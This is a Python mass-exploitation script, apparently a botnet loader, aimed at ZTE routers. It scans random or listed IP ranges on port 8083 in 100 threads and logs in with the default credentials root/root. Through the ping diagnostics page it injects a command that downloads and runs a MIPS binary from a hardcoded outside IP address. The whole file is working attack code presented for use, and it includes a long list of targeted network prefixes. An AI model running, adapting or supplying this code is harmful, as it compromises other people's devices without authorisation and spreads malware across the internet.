ZTE Exploit Scanner

# ZTE Auto Scanner by Misfortune

import sys
import time
import random
import socket
import requests
import threading

cmd = "cd /tmp;wget http://2.56.8.132/n.mips;chmod 777 n.mips;./n.mips"

login_payload = "Frm_Logintoken=4&Username=root&Password=root"

command_payload = "&Host=;$({})&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit".format(cmd)

choice = sys.argv[1].lower()

if choice == "a":
    range1 = sys.argv[2]
elif choice == "b":
    range1, range2 = sys.argv[2].split(".")
elif choice == "c":
    range1, range2, range3 = sys.argv[2].split(".")
elif choice == "butterfly":
    pass
else:
    print("This is not an option.")
    exit()

found = []

butterfly = [
    "2.84",
    "5.54",
    "5.144.192",
    "5.172.192",
    "5.203",
    "31.14.168",
    "31.14.208",
    "31.14.240",
    "31.22.112",
    "31.152",
    "31.177.56",
    "31.186.104",
    "31.217.160",
    "37.6",
    "37.32.128",
    "37.99.192",
    "37.153.144",
    "37.153.160",
    "46.12",
    "46.103",
    "46.176",
    "46.183.16",
    "46.190",
    "46.198.128",
    "46.226.192",
    "46.227.56",
    "46.245.136",
    "46.246.128",
    "62.1",
    "62.38",
    "62.68.64",
    "62.74",
    "62.75",
    "62.103",
    "62.169.192",
    "62.205.32",
    "62.217.64",
    "62.228",
    "77.49",
    "77.69",
    "78.87",
    "78.108.32",
    "79.103",
    "79.107",
    "79.128",
    "79.166",
    "80.91.208",
    "80.106",
    "80.245.160",
    "81.92.48",
    "83.174.128",
    "83.174.144",
    "83.174.148",
    "83.174.152",
    "83.212",
    "83.235",
    "84.254",
    "85.72",
    "85.204.64",
    "86.104.68",
    "86.104.120",
    "86.105.188",
    "86.105.200",
    "86.105.248",
    "87.202",
    "89.31.176",
    "89.32.208",
    "89.43.56",
    "89.43.184",
    "89.44.72",
    "89.44.92",
    "89.44.96",
    "89.44.156",
    "89.44.216",
    "89.44.220",
    "89.45.120",
    "89.46.252",
    "89.47.44",
    "89.210",
    "91.138.128",
    "91.140",
    "91.193.60",
    "93.113.120",
    "93.113.216",
    "93.114.196",
    "93.174.120",
    "93.190.8",
    "94.64",
    "94.143.176",
    "95.129.40",
    "109.68.144",
    "109.178",
    "109.242",
    "128.140.152",
    "130.43",
    "141.237",
    "141.255",
    "149.210",
    "176.58.128",
    "176.92",
    "176.92.64",
    "178.20.120",
    "178.21.168",
    "178.23.72",
    "178.59",
    "178.146",
    "185.3.220",
    "185.4.88",
    "185.4.132",
    "185.5.76",
    "185.6.76",
    "185.14.200",
    "185.16.164",
    "185.19.44",
    "185.23.88",
    "185.23.168",
    "185.25.20",
    "185.29.24",
    "185.32.228",
    "185.36.232",
    "185.42.208",
    "185.44.144",
    "185.51.132",
    "185.55.28",
    "185.70.76",
    "185.72.148",
    "185.73.40",
    "185.77.36",
    "185.78.220",
    "185.79.188",
    "185.81.196",
    "185.84.124",
    "185.88.20",
    "185.90.44",
    "185.96.32",
    "185.98.132",
    "185.104",
    "185.104.144",
    "185.106.16",
    "185.115.204",
    "185.117.32",
    "185.117.34",
    "185.117.35",
    "185.117.228",
    "185.134.112",
    "185.138.40",
    "185.145.164",
    "185.155.100",
    "185.156.60",
    "185.157.120",
    "185.158.220",
    "185.160.44",
    "185.162.236",
    "185.168.36",
    "185.170.140",
    "185.174.56",
    "185.178.176",
    "185.180.36",
    "185.181.28",
    "185.181.220",
    "185.183.184",
    "185.185.156",
    "185.186.84",
    "185.201.56",
    "185.205.96",
    "185.212.180",
    "185.220.16",
    "185.226.64",
    "185.232.240",
    "185.246.164",
    "185.247.160",
    "188.4",
    "188.73.192",
    "188.164.200",
    "193.5.16",
    "193.92",
    "193.160.140",
    "193.186.200",
    "194.30.192",
    "194.30.224",
    "194.62.224",
    "194.177.192",
    "194.219",
    "195.46",
    "195.74.224",
    "195.97",
    "195.130.64",
    "195.167",
    "195.170",
    "195.190.32",
    "195.251",
    "212.54.192",
    "212.70.192",
    "212.152.64",
    "212.205",
    "212.251",
    "213.16.128",
    "213.140.128",
    "213.249",
    "217.19.64",
    "217.19.80",
    "217.195.128",
    "81.186",
    "81.186.128",
    "81.186.192",
    "84.205.192",
    "84.205.224",
    "87.239.232",
    "88.197",
    "91.195.152",
    "91.198.183",
    "91.199.7",
    "91.199.96",
    "91.200.20",
    "91.206.190",
    "91.207.236",
    "91.208.57",
    "91.209.46",
    "91.209.47",
    "91.209.173",
    "91.213.52",
    "91.213.228",
    "91.216.76",
    "91.216.180",
    "91.216.206",
    "91.217.155",
    "91.217.243",
    "91.220.108",
    "91.220.208",
    "91.220.236",
    "91.223.42",
    "91.223.104",
    "91.223.132",
    "91.227.108",
    "91.241.94",
    "91.245.195",
    "94.232.80",
    "139.91",
    "143.233",
    "144.24",
    "146.124",
    "147.27",
    "147.52",
    "147.95",
    "147.102",
    "150.140",
    "150.140.128",
    "155.207",
    "160.40",
    "176.126.38",
    "192.67.249",
    "192.92.155",
    "192.92.156",
    "192.94.67",
    "192.94.68",
    "192.103.20",
    "192.104.147",
    "192.107.177",
    "192.108.114",
    "192.135.166",
    "193.16.219",
    "193.34.176",
    "193.41.56",
    "193.41.150",
    "193.41.229",
    "193.58.70",
    "193.58.234",
    "193.84.21",
    "193.84.251",
    "193.93.164",
    "193.104.200",
    "193.105.4",
    "193.105.42",
    "193.105.80",
    "193.105.85",
    "193.105.109",
    "193.106.252",
    "193.108.160",
    "193.110.86",
    "193.150.172",
    "193.164.226",
    "193.186.163",
    "193.192.38",
    "193.193.184",
    "193.201.22",
    "193.201.166",
    "193.218.1",
    "193.218.2",
    "193.218.4",
    "193.218.5",
    "193.218.6",
    "193.218.36",
    "193.218.41",
    "193.218.42",
    "193.218.44",
    "193.218.48",
    "193.218.64",
    "193.218.72",
    "193.218.74",
    "193.218.76",
    "193.218.80",
    "193.218.84",
    "193.218.88",
    "193.218.92",
    "193.218.96",
    "193.218.106",
    "193.218.108",
    "193.218.112",
    "193.218.122",
    "193.218.124",
    "193.218.223",
    "193.218.224",
    "193.238.112",
    "193.239.214",
    "193.242.240",
    "193.254.200",
    "193.254.222",
    "194.13.111",
    "194.24.170",
    "194.24.226",
    "194.26.22",
    "194.29.48",
    "194.30.178",
    "194.42.50",
    "194.42.52",
    "194.42.54",
    "194.50.42",
    "194.50.43",
    "194.63.160",
    "194.63.192",
    "194.63.224",
    "194.63.240",
    "194.79.252",
    "194.110.73",
    "194.110.198",
    "194.110.218",
    "194.116.168",
    "194.125.252",
    "194.126.255",
    "194.149.236",
    "194.153.81",
    "194.153.82",
    "194.169.232",
    "194.176.113",
    "195.2.234",
    "195.14.9",
    "195.22.154",
    "195.35.92",
    "195.35.105",
    "195.35.126",
    "195.39.236",
    "195.43.132",
    "195.47.208",
    "195.47.233",
    "195.64.172",
    "195.66.158",
    "195.78.86",
    "195.88.162",
    "195.95.226",
    "195.134.64",
    "195.144.16",
    "195.189.56",
    "195.189.162",
    "195.191.98",
    "195.200.193",
    "195.200.204",
    "195.200.238",
    "195.211.200",
    "195.230.102",
    "195.234.49",
]

def gen():
    return random.randint(0, 255)

def butterflies():
    r = random.choice(butterfly).split(".")
    if len(r) == 1:
        return "{}.{}.{}.{}".format(r[0], gen(), gen(), gen())
    if len(r) == 2:
        return "{}.{}.{}.{}".format(r[0], r[1], gen(), gen())
    if len(r) == 3:
        return "{}.{}.{}.{}".format(r[0], r[1], r[2], gen())

def ipgen():
    if choice == "a":
        return "{}.{}.{}.{}".format(range1, gen(), gen(), gen())
    if choice == "b":
        return "{}.{}.{}.{}".format(range1, range2, gen(), gen())
    if choice == "c":
        return "{}.{}.{}.{}".format(range1, range2, range3, gen())
    if choice == "butterfly":
        return butterflies()

def scan():
    while True:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)
        target = ipgen()
        result = sock.connect_ex((target, 8083))
        if result == 0 and found.count(target) < 1:
            try:
                found.append(target)
                requests.post("http://" + target + ":8083/login.gch", timeout=3, data=login_payload)
                r = requests.post("http://" + target + ":8083/manager_dev_ping_t.gch", timeout=2.5, data=command_payload)
                requests.get("http://" + target + ":8083/getpage.gch?pid=1001&logout=1", timeout=2.5)
                if cmd in r.content.decode("utf-8"):
                    print("[ZTE] Trying to load - {}".format(target))
            except:
                pass
        sock.close()

for i in range(100):
    threading.Thread(target=scan, daemon=True).start()

while True:
    try:
        time.sleep(1)
    except KeyboardInterrupt:
        print("Quitting, bye bye...")
    break